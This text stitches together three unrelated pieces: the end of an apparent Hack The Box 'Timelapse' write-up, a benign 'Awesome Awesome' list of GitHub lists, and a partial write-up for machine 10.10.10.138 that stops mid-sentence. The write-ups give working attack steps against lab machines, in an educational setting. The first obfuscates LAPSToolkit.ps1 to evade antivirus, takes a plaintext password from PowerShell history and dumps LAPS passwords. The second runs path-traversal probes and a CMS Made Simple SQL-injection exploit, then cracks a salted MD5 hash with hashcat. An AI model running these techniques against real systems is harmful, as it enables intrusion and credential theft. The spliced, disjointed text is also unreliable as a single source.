+ #requires -version 2 + ~~~~~~~~~~~~~~~~~~~~ This script contains malicious content and has been blocked by your antivirus software. At C:\Users\legacyy\Desktop\LAPSToolkit.ps1:1 char:1 + #requires -version 2 + ~~~~~~~~~~~~~~~~~~~~ + CategoryInfo : ParserError: (:) [], ParentContainsErrorRecordException + FullyQualifiedErrorId : ScriptContainedMaliciousContent ``` Oh... Wait, the PowerShell script is blocked by the anti-virus (AV) software... In order to bypass the AV, we can do some PowerShell obfuscation. Upon researching, I found **[Invoke-Stealth](https://github.com/JoelGMSec/Invoke-Stealth) PowerShell script obfuscator**. **Let's obfuscate `LAPSToolkit.ps1`!** ```shell ┌[siunam♥Mercury]-(~/ctf/htb/Machines/Timelapse)-[2023.08.09|17:51:37(HKT)] └> pwsh PowerShell 7.3.6 ┌──(siunam㉿Mercury)-[/home/siunam/ctf/htb/Machines/Timelapse] └─PS> iwr -useb https://darkbyte.net/invoke-stealth.php -outfile Invoke-Stealth.ps1 ┌──(siunam㉿Mercury)-[/home/siunam/ctf/htb/Machines/Timelapse] └─PS> copy /opt/LAPSToolkit.ps1 . ┌──(siunam㉿Mercury)-[/home/siunam/ctf/htb/Machines/Timelapse] └─PS> ./Invoke-Stealth.ps1 ./LAPSToolkit.ps1 -technique All [...] [+] Loading Chameleon and doing some obfuscation.. [OK] [!] Avoid mixing BetterXencrypt with another techniques.. [OK] [+] Loading PyFuscation and doing more obfuscation.. [OK] [+] Encoding with base64 and reverse it to avoid detections.. [OK] [+] Loading PSObfuscation and randomizing script.. [OK] [+] Done! ``` **Then transfer the obfuscated `LAPSToolkit.ps1`:** ```shell ┌[siunam♥Mercury]-(~/ctf/htb/Machines/Timelapse)-[2023.08.09|17:51:49(HKT)] └> python3 -m http.server 80 Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ... ``` ``` *Evil-WinRM* PS C:\Users\legacyy\Desktop> iwr -Uri http://10.10.14.6/LAPSToolkit.ps1 -OutFile LAPSToolkit.ps1 *Evil-WinRM* PS C:\Users\legacyy\Desktop> Import-Module .\LAPSToolkit.ps1 ``` **Now we can use its functions!** **Get groups that can read passwords:** ```shell *Evil-WinRM* PS C:\Users\legacyy\Desktop> Find-LAPSDelegatedGroups OrgUnit Delegated Groups ------- ---------------- OU=Domain Controllers,DC=timelapse,DC=htb TIMELAPSE\LAPS_Readers OU=Servers,DC=timelapse,DC=htb TIMELAPSE\LAPS_Readers OU=Database,OU=Servers,DC=timelapse,DC=htb TIMELAPSE\LAPS_Readers OU=Web,OU=Servers,DC=timelapse,DC=htb TIMELAPSE\LAPS_Readers OU=Dev,OU=Servers,DC=timelapse,DC=htb TIMELAPSE\LAPS_Readers ``` **Checks the rights on each computer with LAPS enabled for any groups with read access and users with "All Extended Rights":** ``` *Evil-WinRM* PS C:\Users\legacyy\Desktop> Find-AdmPwdExtendedRights ComputerName Identity Reason ------------ -------- ------ dc01.timelapse.htb TIMELAPSE\LAPS_Readers Delegated ``` Hmm... It seems like the **domain group `LAPS_Readers` can read LAPS passwords**. **We can check which member belongs to `LAPS_Readers` group:** ```shell *Evil-WinRM* PS C:\Users\legacyy\Desktop> net groups LAPS_Readers Group name LAPS_Readers Comment Members ------------------------------------------------------------------------------- svc_deploy ``` So, `svc_deploy` is a member of group `LAPS_Readers`. That being said, **if we can authenticated as `svc_deploy` domain user, we can dump LAPS passwords!** **Domain user `svc_deploy` details:** ```shell *Evil-WinRM* PS C:\Users\legacyy\Documents> net user svc_deploy /domain User name svc_deploy Full Name svc_deploy [...] Local Group Memberships *Remote Management Use Global Group memberships *LAPS_Readers *Domain Users ``` And this domain user is a member of `Remote Management User` local group! Which means **this domain user can WinRM into the Domain Controller**! **After enumerate the Domain Controller deeper, I found an interesting PowerShell history file:** ```shell *Evil-WinRM* PS C:\Users\legacyy\Documents> type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt whoami ipconfig /all netstat -ano |select-string LIST $so = New-PSSessionOption -SkipCACheck -SkipCNCheck -SkipRevocationCheck $p = ConvertTo-SecureString '{Redacted}' -AsPlainText -Force $c = New-Object System.Management.Automation.PSCredential ('svc_deploy', $p) invoke-command -computername localhost -credential $c -port 5986 -usessl - SessionOption $so -scriptblock {whoami} get-aduser -filter * -properties * exit ``` Nice! We found `svc_deploy`'s password! **Let's WinRM as `svc_deploy`!** ```shell ┌[siunam♥Mercury]-(~/ctf/htb/Machines/Timelapse)-[2023.08.09|18:07:48(HKT)] └> evil-winrm -S -i $RHOSTS -u svc_deploy -p '{Redacted}' [...] *Evil-WinRM* PS C:\Users\svc_deploy\Documents> whoami; ipconfig /all timelapse\svc_deploy Windows IP Configuration Host Name . . . . . . . . . . . . : dc01 Primary Dns Suffix . . . . . . . : timelapse.htb Node Type . . . . . . . . . . . . : Hybrid IP Routing Enabled. . . . . . . . : No WINS Proxy Enabled. . . . . . . . : No DNS Suffix Search List. . . . . . : timelapse.htb Ethernet adapter Ethernet0: Connection-specific DNS Suffix . : Description . . . . . . . . . . . : vmxnet3 Ethernet Adapter Physical Address. . . . . . . . . : 00-50-56-B9-7B-4A DHCP Enabled. . . . . . . . . . . : No Autoconfiguration Enabled . . . . : Yes Link-local IPv6 Address . . . . . : fe80::4113:1f9:543d:6321%13(Preferred) IPv4 Address. . . . . . . . . . . : 10.10.11.152(Preferred) Subnet Mask . . . . . . . . . . . : 255.255.254.0 Default Gateway . . . . . . . . . : 10.10.10.2 DHCPv6 IAID . . . . . . . . . . . : 33574998 DHCPv6 Client DUID. . . . . . . . : 00-01-00-01-2C-65-68-F0-00-50-56-B9-7B-4A DNS Servers . . . . . . . . . . . : 127.0.0.1 [...] ``` I'm user `svc_deploy`! ### svc_deploy to Administrator **Since we're `svc_deploy`, and `svc_deploy` is a member of `LAPS_Readers` group, we can access the LAPS password!** **However, instead using `LAPSToolkit.ps1`, we can also use `crackmapexec` to dump LAPS passwords!** ```shell ┌[siunam♥Mercury]-(~/ctf/htb/Machines/Timelapse)-[2023.08.09|18:13:17(HKT)] └> crackmapexec ldap $RHOSTS -u svc_deploy -p '{Redacted}' --kdcHost $RHOSTS -M laps SMB 10.10.11.152 445 DC01 [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:timelapse.htb) (signing:True) (SMBv1:False) LDAP 10.10.11.152 389 DC01 [+] timelapse.htb\svc_deploy:{Redacted} LAPS 10.10.11.152 389 DC01 [*] Getting LAPS Passwords LAPS 10.10.11.152 389 DC01 Computer: DC01$ Password: {Redacted} ``` Nice! We found a LAPS password! Now, we can WinRM into the Domain Controller's local `Administrator`, who is also a Domain Admins! **Login as `Administrator` via `evil-winrm`:** ```shell ┌[siunam♥Mercury]-(~/ctf/htb/Machines/Timelapse)-[2023.08.09|18:14:49(HKT)] └> evil-winrm -S -i $RHOSTS -u Administrator -p '{Redacted}' [...] *Evil-WinRM* PS C:\Users\Administrator\Documents> whoami; ipconfig /all timelapse\administrator Windows IP Configuration Host Name . . . . . . . . . . . . : dc01 Primary Dns Suffix . . . . . . . : timelapse.htb Node Type . . . . . . . . . . . . : Hybrid IP Routing Enabled. . . . . . . . : No WINS Proxy Enabled. . . . . . . . : No DNS Suffix Search List. . . . . . : timelapse.htb Ethernet adapter Ethernet0: Connection-specific DNS Suffix . : Description . . . . . . . . . . . : vmxnet3 Ethernet Adapter Physical Address. . . . . . . . . : 00-50-56-B9-7B-4A DHCP Enabled. . . . . . . . . . . : No Autoconfiguration Enabled . . . . : Yes Link-local IPv6 Address . . . . . : fe80::4113:1f9:543d:6321%13(Preferred) IPv4 Address. . . . . . . . . . . : 10.10.11.152(Preferred) Subnet Mask . . . . . . . . . . . : 255.255.254.0 Default Gateway . . . . . . . . . : 10.10.10.2 DHCPv6 IAID . . . . . . . . . . . : 33574998 DHCPv6 Client DUID. . . . . . . . : 00-01-00-01-2C-65-68-F0-00-50-56-B9-7B-4A DNS Servers . . . . . . . . . . . : 127.0.0.1 [...] *Evil-WinRM* PS C:\Users\Administrator\Documents> whoami /groups GROUP INFORMATION ----------------- Group Name Type SID Attributes ================================================ ================ =========================================== =============================================================== Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group BUILTIN\Administrators Alias S-1-5-32-544 Mandatory group, Enabled by default, Enabled group, Group owner BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group BUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group TIMELAPSE\Group Policy Creator Owners Group S-1-5-21-671920749-559770252-3318990721-520 Mandatory group, Enabled by default, Enabled group TIMELAPSE\Domain Admins Group S-1-5-21-671920749-559770252-3318990721-512 Mandatory group, Enabled by default, Enabled group TIMELAPSE\Enterprise Admins Group S-1-5-21-671920749-559770252-3318990721-519 Mandatory group, Enabled by default, Enabled group TIMELAPSE\Schema Admins Group S-1-5-21-671920749-559770252-3318990721-518 Mandatory group, Enabled by default, Enabled group TIMELAPSE\Denied RODC Password Replication Group Alias S-1-5-21-671920749-559770252-3318990721-572 Mandatory group, Enabled by default, Enabled group, Local Group NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group Mandatory Label\High Mandatory Level Label S-1-16-12288 ``` I'm `Administrator` (Domain Admins)! :D ## Rooted **root.txt:** ```shell *Evil-WinRM* PS C:\Users\TRX\Desktop> type root.txt {Redacted} ``` ![](https://github.com/siunam321/CTF-Writeups/blob/main/HackTheBox/Timelapse/images/Pasted%20image%2020230809181742.png) ## Conclusion What we've learned: 1. Enumerating SMB shares 2. Cracking password protected zip file and `pfx` certificate 3. Anti-Virus bypass 4. Horizontal privilege escalation via clear-text credentials in PowerShell history 5. Vertical privilege escalation via dumping LAPS password
# Awesome Awesome A curated list of awesome curated lists of many topics. - [Awesome Awesome](#awesome-awesome) - [Computer management](#computer-management) - [Data processing](#data-processing) - [Editors](#editors) - [Front-end development](#front-end-development) - [Programming languages](#programming-languages) - [Sciences](#sciences) - [Web browsers](#web-browsers) - [Websites](#websites) - [Web platforms](#web-platforms) - [Security](#security) - [Other](#other) - [Contributing](#contributing) ## All * [all-human-knowledge](https://github.com/emijrp/all-human-knowledge) - The catalogue of catalogues... ## Computer management * [awesome-awesomewm](https://github.com/atsepkov/awesome-awesome-wm) - A curated list of awesome tools/scripts/configs for Awesome Window Manager. * [awseome-console-services](https://github.com/chubin/awesome-console-services) - A curated list of awesome console services (reachable via HTTP, HTTPS and other network protocols). * [awesome-scalability](https://github.com/binhnguyennus/awesome-scalability) - An up-to-date and curated reading list for designing high scalability, high availability, high stabilityback-end systems. * [awesome-shell](https://github.com/alebcay/awesome-shell) - Command-line frameworks, toolkits, guides and gizmos. * [awesome-sysadmin](https://github.com/kahun/awesome-sysadmin) - Backups, configuration management, DNS, IMAP/POP3, LDAP, monitoring, SSH, statistics, troubleshooting, virtualization, VPN and more. * [awesome-selfhosted](https://github.com/awesome-selfhosted/awesome-selfhosted) - Applications that can be hosted on your own servers ## Data processing * [awesome-storage](https://github.com/okhosting/awesome-storage/) - A curated list of storage open source tools. Backups, redundancy, sharing, distribution, encryption, etc. * [awesome-bigdata](https://github.com/onurakpolat/awesome-bigdata) - Big data frameworks, resources and other awesomeness. * [awesome-hadoop](https://github.com/youngwookim/awesome-hadoop) - Hadoop ecosystem resources. ## Editors * [awesome-atom](https://github.com/mehcode/awesome-atom) - A curated list of delightful Atom packages and resources. * [awesome-emacs](https://github.com/emacs-tw/awesome-emacs) - A community driven list of useful Emacs packages, libraries and others. * [awesome-jetbrains](https://github.com/championswimmer/awesome-jetbrains) - A collection of awesome fonts and color schemes to be used in Jetbrains IDEs. * [awesome-vim](https://github.com/akrawchyk/awesome-vim) - Plugins are organized by section and ordered alphabetically. * [awesome-vscode](https://github.com/viatsko/awesome-vscode) - A curated list of delightful VS Code packages and resources. ## Front-end development * [awesome-dojo](https://github.com/petk/awesome-dojo) - Dojo JavaScript Toolkit. * [awesome-jquery](https://github.com/petk/awesome-jquery) - A curated list of jQuery plugins and resources. * [awesome-react](https://github.com/enaqx/awesome-react) - A collection of awesome things regarding React ecosystem. * [awesome-rest](https://github.com/marmelab/awesome-rest) - Resources about RESTful API architecture, development, test, and performance. * [awesome-http](https://github.com/easybase/awesome-http) - A curated list of the best HTTP clients for various languages & libraries. * ## Programming languages * [awesome-AutoIt](https://github.com/J2TeaM/awesome-AutoIt) - UDFs, example scripts, tools and useful resources for AutoIt. * [awesome-clojure](https://github.com/razum2um/awesome-clojure) - Package management, audio, HTTP, database, websocket and testing. * [awesome-c](https://notabug.org/koz.ross/awesome-c) - C frameworks, libraries, resources and other cool stuff. * [awesome-c-sharp](https://github.com/uhub/awesome-c-sharp) - C# frameworks, libraries and software. * [awesome-cpp](https://github.com/fffaraz/awesome-cpp) - C/C++ frameworks, libraries, and resources. * [awesome-cmake](https://github.com/onqtam/awesome-cmake) - CMake scripts, modules, examples and others - for C/C++ software. * [awesome-cobol](https://github.com/mickaelandrieu/awesome-cobol) - Web frameworks, template engine, forms, authentication & OAuth, database, e-mail, messaging, imagery, text processing, machine learning, testing, audio, video and logging. * [awesome-common-lisp](https://github.com/kozross/awesome-cl) - Common Lisp frameworks, libraries, resources and other shinies. * [awesome-d](https://github.com/zhaopuming/awesome-d) - Build tools, compilers, IDE, GUI, database clients. * [awesome-dotnet](https://github.com/quozd/awesome-dotnet) - .NET libraries, tools, frameworks and software. * [awesome-elixir](https://github.com/h4cc/awesome-elixir) - Elixir libraries, resources and shiny things. * [awesome-go](https://github.com/avelino/awesome-go) - Go frameworks, libraries and software. * [awesome-java](https://github.com/akullpp/awesome-java) - Build tool, code analysis, database, GUI, IDE, JSON, machine learning, PDF, science, testing and web crawling. * [awesome-javascript](https://github.com/sorrycc/awesome-javascript) - JavaScript libraries, resources and shiny things. * [awesome-julia](https://github.com/melvin0008/awesome-julia) - List of Julia resources and packages. * [awesome-perl](https://github.com/mackee/awesome-perl) - Benchmarks, databases, images, logging, profiling, testing, text processing and web frameworks. * [awesome-php](https://github.com/ziadoz/awesome-php) - Frameworks, templating, URL, e-mail, files, imagery, testing, security, documentation, geolocation, date, PDF, search and authentication. * [awesome-python](https://github.com/vinta/awesome-python) - Files, dates, text processing, NLP, imagery, audio, video, geolocation, web frameworks, OAuth, web crawling, networking, GUI, game development, testing, science and data analysis and machine learning. * [awesome-R](https://github.com/qinwf/awesome-R) - packages, IDEs, learning courses. * awesome-ruby - Ruby libraries, tools, frameworks and software - [@markets](https://github.com/markets/awesome-ruby) - [@Sdogruyol](https://github.com/Sdogruyol/awesome-ruby) * [awesome-rust](https://github.com/kud1ing/awesome-rust) - A curated list of Rust code and resources. * [awesome-scala](https://github.com/lauris/awesome-scala) - Scala frameworks, libraries and software. * [awesome-swift](https://awesome-swift.zeef.com/robin.eggenkamp) - Swift documentation, projects, tutorials, updates, etc * [awesome-haskell](https://github.com/krispo/awesome-haskell) - A curated list of Haskell code and resources. * [awesome-typescript](https://github.com/dzharii/awesome-typescript) - A collection of awesome TypeScript resources for client-side and server-side development. Write your awesome JavaScript in TypeScript ## Sciences * [awesome-biology] - Not yet! Do it yourself! * awesome-chemistry - [@lmmentel](https://github.com/lmmentel/awesome-python-chemistry) - A curated list of Python packages related to chemistry - [@hsiaoyi0504](https://github.com/hsiaoyi0504/awesome-cheminformatics) - A curated list of awesome Cheminformatics libraries and software. * [awesome-geography] - Not yet! Do it yourself! * [awesome-materials-informatics](https://github.com/tilde-lab/awesome-materials-informatics) - Curated list of known efforts in materials informatics * [awesome-math] - Not yet! Do it yourself! * [awesome-molecular-dynamics](https://github.com/ipudu/awesome-molecular-dynamics) - A curated list of awesome Molecular Dynamics libraries, tools and software. * [awesome-physics] - Not yet! Do it yourself! * [awesome-cryptography](https://github.com/sobolevn/awesome-cryptography) - Cryptography and encryption resources. * [awesome-space](https://github.com/elburz/awesome-space) - Jobs, Media, Rockets, Research, and other Space-related Open Source resources. * [awesome-space-books](https://github.com/Hunter-Github/awesome-space-books) - (mostly) offline reference books on space technology, science and history of spaceflight. ## Web browsers * [awesome-firefox](https://github.com/Hunter-Github/awesome-firefox) - A curated list of resources for and about Mozilla Firefox. ## Websites * [awesome-github](https://github.com/Kikobeats/awesome-github) - Apps, tools, websites, browser extensions. * [awesome-flickr] - Not yet! Do it yourself! * [awesome-reddit] - Not yet! Do it yourself! * [awesome-twitter] - Not yet! Do it yourself! * [awesome-wikipedia](https://github.com/emijrp/awesome-wikipedia) - Datasets, frameworks, libraries and other software related to Wikipedia. * [awesome-youtube] - Not yet! Do it yourself! * [AI Collection](https://github.com/ai-collection/ai-collection) - A Collection of Awesome Generative AI Applications ## Web platforms * [Search Engine Optimization (SEO)](https://github.com/marcobiedermann/search-engine-optimization) - A helpful checklist / collection of Search Engine Optimization (SEO) tips and techniques. ## Security * [Vulnerability and Monitoring Tools](https://github.com/sbilly/awesome-security) - A collection of awesome software, libraries, documents, books, resources and cool stuff about security. * [Information Security Resources](https://github.com/onlurking/awesome-infosec) - A curated list of awesome information security resources. * [Web Security](https://github.com/qazbnm456/awesome-web-security) - Web application vulnerability List * [OSX Security](https://github.com/kai5263499/osx-security-awesome) - OSX vulnerability List ## Other * [awesome-community-detection](https://github.com/benedekrozemberczki/awesome-community-detection) - A curated list of community detection techniques. * [awesome-decision-tree-papers](https://github.com/benedekrozemberczki/awesome-decision-tree-papers) - A collection of research papers on decision, classification and regression trees with implementations. * [awesome-fraud-detection-papers](https://github.com/benedekrozemberczki/awesome-fraud-detection-papers) - A curated list of data mining papers about fraud detection. * [awesome-gradient-boosting-papers](https://github.com/benedekrozemberczki/awesome-gradient-boosting-papers) - A curated list of gradient boosting research papers with implementations. * [awesome-graph-classification](https://github.com/benedekrozemberczki/awesome-graph-classification) - A curated list of important graph embedding, classification and representation learning papers with implementations. * [awesome-metric-learning](https://github.com/qdrant/awesome-metric-learning) - A curated list of awesome practical Metric Learning resources and its applications. * [awesome-monte-carlo-tree-search](https://github.com/benedekrozemberczki/awesome-monte-carlo-tree-search-papers) - A curated list of important Monte Carlo tree search papers with implementations. * [awesome-cryptocurrencies](https://github.com/kasketis/awesome-cryptocurrencies) - A curated list of awesome cryptocurrencies 🎩 * [awesome-movies](https://github.com/emijrp/awesome-movies) - Not yet! Do it yourself! * [awesome-music] - Not yet! Do it yourself! * [awesome-nostalgia](https://github.com/emijrp/awesome-nostalgia) - Nostalgia trigger links. * [awesome-remote-job](https://github.com/lukasz-madon/awesome-remote-job) - Remote working: job boards, articles, communities, and other resources. * [awesome-open-company](https://github.com/waldyrious/awesome-open-company) - Companies that embrace values of openness and transparency. * [awesome-opendata](https://github.com/emijrp/awesome-opendata) - A curated list of awesome opendata repositories. * [awesome-os](https://github.com/jubalh/awesome-os) - A curated list of operating systems and their design. * [awesome-community](https://github.com/petk/awesome-community) - A curated list of awesome programming, development, technical support and discussion channels, groups and communities * [Internet of Things (IoT)](https://github.com/HQarroum/awesome-iot) - A curated list of awesome Internet of Things projects and resources. * [awesome-static-analysis](https://github.com/mre/awesome-static-analysis/) - A curated list of static analysis tools, linters and code quality checkers for various programming languages. * [awesome-pentester](https://github.com/m1guelpf/awesome-pentester) - A curated list of pentesting resources. * [awesome-unix](https://github.com/sirredbeard/Awesome-UNIX) - History of UNIX software and principles. * [awesome-snips](https://github.com/snipsco/awesome-snips) - A curated list of Snips assistants and resources. * [awesome-public-datasets](https://github.com/awesomedata/awesome-public-datasets) - A topic-centric list of HQ open datasets. # Contributing For contributing, [open an issue](https://github.com/emijrp/awesome-awesome/issues) and/or a [pull request](https://github.com/emijrp/awesome-awesome/pulls). Above there are some ideas for missing lists. Thanks.
# Writeup: 10.10.10.138 ## Hints - Getting a foothold revolves around finding what "builds/runs" the website and finding a suitable exploit for the software. - Password reuse is a thing! - Privesc is a fun and interesting method about abusing writable paths and finding executables that are run without the full path. ## nmap Starting with the usual `nmap` scan. Interesting ports: ```none 22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0) 80/tcp open http Apache httpd 2.4.25 ((Debian)) ``` From the `nmap` scan - looks like we have a Debian Linux target machine. ## 80: Recon Loaded up the target IP in Firefox, and was greeted with a very unusual home page. ![Home page](screenshots/80_home.png) Couple of notes about the content: - Author states site is being actively attacked - Web server bans IP addresses with too many 40x errors using Eeyore DoS protection - Email and hostname leak: `[email protected]` Added `writeup.htb` to my hosts file. Visiting the DNS names gives the same homepage. At this point I would usually fire up `gobuster` to find some hidden directories... but we can't as we may get banned as this would create 404 errors when lots of directories are tested against the web server and not found. Instead, we should check if the `robots.txt` file exists. This was the next logical thing to check, as we had nothing else to go on, and needed to find more web content. ![Apache Web Server robots.txt](screenshots/80_robots.png) And we found the `writeup` directory! ![Writeup page!](screenshots/80_writeup.png) The `writeup` page is pretty simple and has three writeups for different Hack The Box machines. One interesting thing that stands out is how the page contents seem to be displayed. Here is an example URL. ```none http://10.10.10.138/writeup/index.php?page=ypuffy ``` So the site is powered by PHP, and looks like it includes a page as an HTTP parameter. Started trying a few go-to PHP file inclusion and path traversal checks. Didn't want to push the server too much, as I was worried about getting banned with too many 404 errors. A few of the URLs I tested were: ```none /writeup/index.php?page=../../../etc/passwd /writeup/index.php?page=../../../../../etc/passwd /writeup/index.php?page=http://10.10.14.127:8000/cmd.php /writeup/index.php?page=php://filter/convert.base64-encode/resource=index.php ``` None of these worked, and was getting more and more nervous about getting banned! Can't wait to see how the banning works... later. Anyway, decided to stop while I was still ahead, and started enumerating for more information that might be useful. After a while, I discovered that the pages under `writeup` are generated using a CMS. I thought it was a joke at first, but this CMS seems to be a thing. ![Writeup CMS leaked](screenshots/80_writeup_cms.png) This also seemed to match a not-quite-so-obvious hint. The home page had the footer message of: `Page is hand-crafted with vi.` and the `writeup` pages had the message: `Pages are hand-crafted with vim. NOT.`. Started doing some research and discovered the [CMS Made Simple project home page](https://www.cmsmadesimple.org/) and the [project SVN repo](http://viewsvn.cmsmadesimple.org/listing.php?repname=cmsmadesimple&). This is quite a big project - and I found it interesting that I have never heard of it. Since I had no version information, I tried to find a [changelog](http://dev.cmsmadesimple.org/project/files/6) to determine what version I might have on the target. The only help I get from the website is a copyright notice for the CMS ending in 2019. The last release, in late 2019 (December) was `Version 2.2.13-0` on 2019-12-04. And the first release in early 2019 (January) was `Version 2.2.9-0` on 2019-01-21. Using this info looks like we are dealing with version 2.2, with a potential minor release difference. I looked at Exploit DB to try to find an exploit in this time frame. ```none └─$ searchsploit CMS Made Simple | grep -v Authenticated | grep -v Cross-Site ---------------------------------------------------------------------------------- --------------------------------- Exploit Title | Path ---------------------------------------------------------------------------------- --------------------------------- CMS Made Simple (CMSMS) Showtime2 - File Upload Remote Code Execution (Metasploit | php/remote/46627.rb CMS Made Simple 0.10 - 'Lang.php' Remote File Inclusion | php/webapps/26217.html CMS Made Simple 1.0.5 - 'Stylesheet.php' SQL Injection | php/webapps/29941.txt CMS Made Simple 1.11.9 - Multiple Vulnerabilities | php/webapps/43889.txt CMS Made Simple 1.2 - Remote Code Execution | php/webapps/4442.txt CMS Made Simple 1.2.2 Module TinyMCE - SQL Injection | php/webapps/4810.txt CMS Made Simple 1.2.4 Module FileManager - Arbitrary File Upload | php/webapps/5600.php CMS Made Simple 1.4.1 - Local File Inclusion | php/webapps/7285.txt CMS Made Simple 1.6.2 - Local File Disclosure | php/webapps/9407.txt CMS Made Simple 1.6.6 - Multiple Vulnerabilities | php/webapps/11424.txt CMS Made Simple 1.8 - 'default_cms_lang' Local File Inclusion | php/webapps/34299.py CMS Made Simple 2.1.6 - 'cntnt01detailtemplate' Server-Side Template Injection | php/webapps/48944.py CMS Made Simple 2.1.6 - Multiple Vulnerabilities | php/webapps/41997.txt CMS Made Simple 2.1.6 - Remote Code Execution | php/webapps/44192.txt CMS Made Simple < 1.12.1 / < 2.1.3 - Web Server Cache Poisoning | php/webapps/39760.txt CMS Made Simple < 2.2.10 - SQL Injection | php/webapps/46635.py CMS Made Simple Module Antz Toolkit 1.02 - Arbitrary File Upload | php/webapps/34300.py CMS Made Simple Module Download Manager 1.4.1 - Arbitrary File Upload | php/webapps/34298.py ---------------------------------------------------------------------------------- --------------------------------- ``` I did a negative `grep` match to remove exploits that required authentication or were client-side attacks. There were lots of exploits targeting version 1, and some lower version 2 exploits. One jumped out as possible: `php/webapps/46635.py`, targeting 2.2.10. This was early 2019 but seemed the best bet. Started by mirroring the exploit code. ```none searchsploit -m php/webapps/46635.py ``` This script needed Python 2, and had a few errors when initially running it. One of the problems was the script wanted the package `termcolor` to print fancy terminal colors. I gave up trying to install Python 2 packages a while ago - so I just changed the exploit code to not use this package, and just use normal print statements. This was quite easy, as there were only a few lines that needed modification. If you want the modified script, that is pure Python 2, it is available in this repo: [`46635.py`](exploits/46635.py). The script only takes a couple of arguments. I left all the defaults (including time) and ran it with a wordlist and the crack option. ```none python2 -u http://10.10.10.138/writeup --crack --wordlist /usr/share/wordlists/rockyou.txt ``` My terminal went a bit nuts and started flashing during the password cracking process, and I suspected that it was going pretty slow. Reading the source code of the exploit shows that the hash is just a salted MD5, and would be easier and faster to crack it with `john` or `hashcat`. After waiting a while, I canceled the script during the cracking process, with the following information - a salt, username, and hashed password. ```none [+] Salt for password found: 5a599ef579066807 [+] Username found: jkr [+] Email found: [email protected] [+] Password found: 62def4866937f08cc13bab43bb14e6f7 ``` If we look at the exploit source code, we can find the function for cracking the password. ```python def crack_password(): global password global output global wordlist global salt dict = open(wordlist) for line in dict.readlines(): line = line.replace("\n", "") beautify_print_try(line) if hashlib.md5(str(salt) + line).hexdigest() == password: output += "\n[+] Password cracked: " + line break dict.close() ``` Specifically, we can see the line that does the password guessing. ```none if hashlib.md5(str(salt) + line).hexdigest() == password: ``` If we look at this in terms of `hashcat` syntax - the hashed password is in the `md5($salt.$pass)` format, which is hash mode `20` in `hashcat`. Let's start by creating a new file with the salted hash value, where the salt and hash are separated by a colon (`:`). Even though the format of the hash is `salt:password`, the `hashcat` mode wants it in `password:salt`. ```none echo -n '62def4866937f08cc13bab43bb14e6f7:5a599ef579066807' > jkr_hash ``` Then start `hashcat` using mode `20`. ```none hashcat -m 20 --remove jkr_hash /usr/share/wordlists/rockyou.txt ``` This worked fast, even when running `hashcat` in my VM with no OpenCL drivers. The results... ```none 62def4866937f08cc13bab43bb14e6f7:5a599ef579066807:raykayjay9 Session..........: hashcat Status...........: Cracked Hash.Name........: md5($salt.$pass) Hash.Target......: 62def4866937f08cc13bab43bb14e6f7:5a599ef579066807 Time.Started.....: Wed Aug 4 08:18:34 2021 (2 secs) Time.Estimated...: Wed Aug 4 08:18:36 2021 (0 secs) Guess.Base.......: File (/usr/share/wordlists/rockyou.txt) Guess.Queue......: 1/1 (100.00%) Speed.#1.........: 2795.9 kH/s (0.20ms) @ Accel:1024 Loops:1 Thr:1 Vec:8 Recovered........: 1/1 (100.00%) Digests Progress.........: 4360192/14344385 (30.40%) Rejected.........: 0/4360192 (0.00%) Restore.Point....: 4359168/14344385 (30.39%) Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1 Candidates.#1....: raymie0506 -> raygan96 ``` Looking at the "Progress" in the `hashcat` output we can see we went through about 4 million passwords. The same result if we analyse the `rockyou.txt` file, the password is quite far in the wordlist - so glad I used a faster password cracking tool! ```none └─$ grep -rin raykayjay9 /usr/share/wordlists/rockyou.txt 4359762:raykayjay9 ``` Finally, log in to the `jkr` account using the password. ```none └─$ ssh [email protected] The authenticity of host '10.10.10.138 (10.10.10.138)' can't be established. ECDSA key fingerprint is SHA256:TEw8ogmentaVUz08dLoHLKmD7USL1uIqidsdoX77oy0. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '10.10.10.138' (ECDSA) to the list of known hosts. [email protected]'s password: Linux writeup 4.9.0-8-amd64 x86_64 GNU/Linux The programs included with the Devuan GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Devuan GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. jkr@writeup:~$ id uid=1000(jkr) gid=1000(jkr) groups=1000(jkr),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),50(staff),103(netdev) ``` ## Privesc: `jkr` to `root` The `jkr` privilege is quite low. I ran linpeas in the background while enumerating manually. I noticed that linpeas highlighted a variety of PATH entries. I also noticed that the user `jkr` was a member of more groups than I am used to seeing. ```none jkr@writeup:~$ groups jkr cdrom floppy audio dip video plugdev staff netdev ``` The documentation on the [System Groups from the Debian Wiki](https://wiki.debian.org/SystemGroups) shows the purpose of the `staff` group. > Allows users to add local modifications to the system (/usr/local) without needing root privileges And, according to the [Linux Privilege Escalation doc on HackTricks the PATH](https://book.hacktricks.xyz/linux-unix/privilege-escalation#writable-path-abuses) information is interesting. > If you find that you can write inside some folder of the $PATH you may be able to escalate privileges by creating a backdoor inside the writable folder with the name of some command that is going to be executed by a different user (root ideally) and that is not loaded from a folder that is located previous to your writable folder in $PATH. Looking into the permissions on the `/usr/local/` directory contents, we can see these interesting permissions on `bin` and `sbin`. ```none jkr@writeup:~$ ls -la /usr/local | grep bin drwx-wsr-x 2 root staff 20480 Apr 19 2019 bin drwx-wsr-x 2 root staff 12288 Apr 19 2019 sbin ``` So, this path injection attack is possible if we can: 1. Find a file that is being executed by root without a full path 2. Overwrite or create that file in `/usr/local/bin/bash` (as this path is first in the list) So we need to see if we can find a file! I started by downloading 